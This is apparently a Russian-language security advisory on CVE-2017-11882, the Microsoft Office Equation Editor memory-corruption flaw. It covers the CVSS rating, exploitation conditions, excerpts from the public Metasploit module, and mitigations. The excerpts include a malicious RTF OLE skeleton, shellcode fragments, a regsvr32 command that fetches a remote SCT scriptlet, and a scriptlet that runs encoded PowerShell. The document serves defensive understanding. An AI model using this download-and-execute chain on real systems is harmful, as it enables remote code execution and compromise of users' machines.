
Уязвимость BDU:2018-00096 (CVE-2017-11882) Microsoft Office
Уязвимость BDU:2018-00096 (CVE-2017-11882) типа Memory Corruption в компоненте Equation Editor (EQNEDT32.EXE) пакета Microsoft Office. Уязвимость возникает из-за некорректной обработки OLE-объектов в памяти, что позволяет злоумышленнику выполнить произвольный код через специально сформированный документ (например, RTF или DOC).
Анализ уязвимости
Уровень опасности: 7.8 (Высокий)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
-
AV:L (Вектор атаки: Локальный) – Требуется физический/локальный доступ к системе.
-
AC:L (Сложность атаки: Низкая) – Простая эксплуатация уязвимости.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:R (Взаимодействие: Требуется) – Необходимы действия пользователя (например, запуск файла).
-
S:U (Область: Неизменная) – Влияет только на уязвимый компонент.
-
C:H (Конфиденциальность: Высокое) – Полная утечка данных.
-
I:H (Целостность: Высокое) – Критическое изменение данных/системы.
-
A:H (Доступность: Высокое) – Серьёзное нарушение работы системы.
Интерпретация: Уязвимость высокой опасности (7.8) требует локального доступа и действий пользователя, но позволяет без привилегий нарушить конфиденциальность, целостность и доступность системы. Риск обусловлен низкой сложностью эксплуатации и максимальным воздействием на ключевые аспекты безопасности.
Условия эксплуатации
-
Пользователь должен открыть вредоносный файл (не требуется дополнительных действий, таких как включение макросов).
-
Уязвимые версии: Office 2007–2016 (до патчей ноября 2017 года).
-
Equation Editor по умолчанию включен в Office, но не поддерживает современные механизмы защиты (ASLR, DEP).
Технический механизм атаки
Уязвимость связана с переполнением буфера при парсинге формулы в OLE-объекте. При открытии файла Equation Editor пытается обработать структуру \objdata
, содержащую шеллкод. Из-за отсутствия проверок длины данных происходит перезапись указателя на функцию, что приводит к выполнению кода.
Пример структуры вредоносного OLE-объекта
{\object\objemb\objupdate{\*\objclass Equation.3} objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e330000000000... ... [shellcode] ... }
Анализ кода эксплоита Metasploit
Рассмотрим ключевые части общедоступного эксплоита к уязвимости BDU:2018-00096 (CVE-2017-11882) для понимания вектора атаки.
1. Генерация RTF-файла
Метод generate_rtf
создает структуру RTF с внедренным OLE-объектом:
def generate_rtf header = retrieve_header(datastore['FILENAME']) object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}...' shellcode = "\x1c\x00\x00\x00..." # Шеллкод для перехвата управления footer = '...{\*\picprop}\wmetafile8...' # Завершение RTF payload = header + object_class + shellcode + footer end
2. Шеллкод
Эксплоит использует ассемблерный код для подготовки вызова regsvr32
, который загружает удаленный SCT-скрипт:
mov eax, 0x1271eb44 ; Адрес для обхода ASLR xor eax, edx call DWORD PTR [esi] ; Вызов WinExec push ebx sub si, 0x4c call DWORD PTR [eax] ; Запуск regsvr32
3. Использование PowerShell
Для выполнения произвольного кода генерируется команда:
def gen_psh(url, *method) command = "regsvr32 /s /n /u /i:#{url}.sct scrobj.dll" # Результат: запуск скрипта через COM-объект end
4. SCT-скрипт
Сервер возвращает XML-скрипт, выполняющий PowerShell:
<scriptlet> <registration progid="RANDOM_ID" classid="{CLSID}"> <script><![CDATA[ new ActiveXObject("WScript.Shell").Run("powershell -enc PAYLOAD", 0); ]]> </script> </registration> </scriptlet>
Условия успешной эксплуатации
-
Целевая система:
-
Windows + уязвимая версия Office.
-
Отсутствие патчей к Office 2010 и Office 2013 и др.
-
-
Сетевой доступ:
-
Для загрузки SCT-скрипта требуется исходящее соединение с интернетом.
-
Если эксплоит использует внутренний HTTP-сервер, атакующий должен находиться в той же сети.
-
Защита и рекомендации
-
Установка обновлений:
-
Применить патчи Microsoft от ноября 2017 года.
-
-
Отключение Equation Editor:
# Команда для удаления через реестр Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" -Name "Compatibility Flags" -Value 0x400
-
Блокировка выполнения regsvr32:
-
Использовать AppLocker или WDAC:
<Rule Type="Path" Action="Deny" Id="..."> <TargetPath>regsvr32.exe</TargetPath> </Rule>
-
-
Настройка просмотра файлов:
-
Использовать Protected View для документов из ненадежных источников.
-
Блокировать RTF-файлы в Outlook через групповые политики.
-
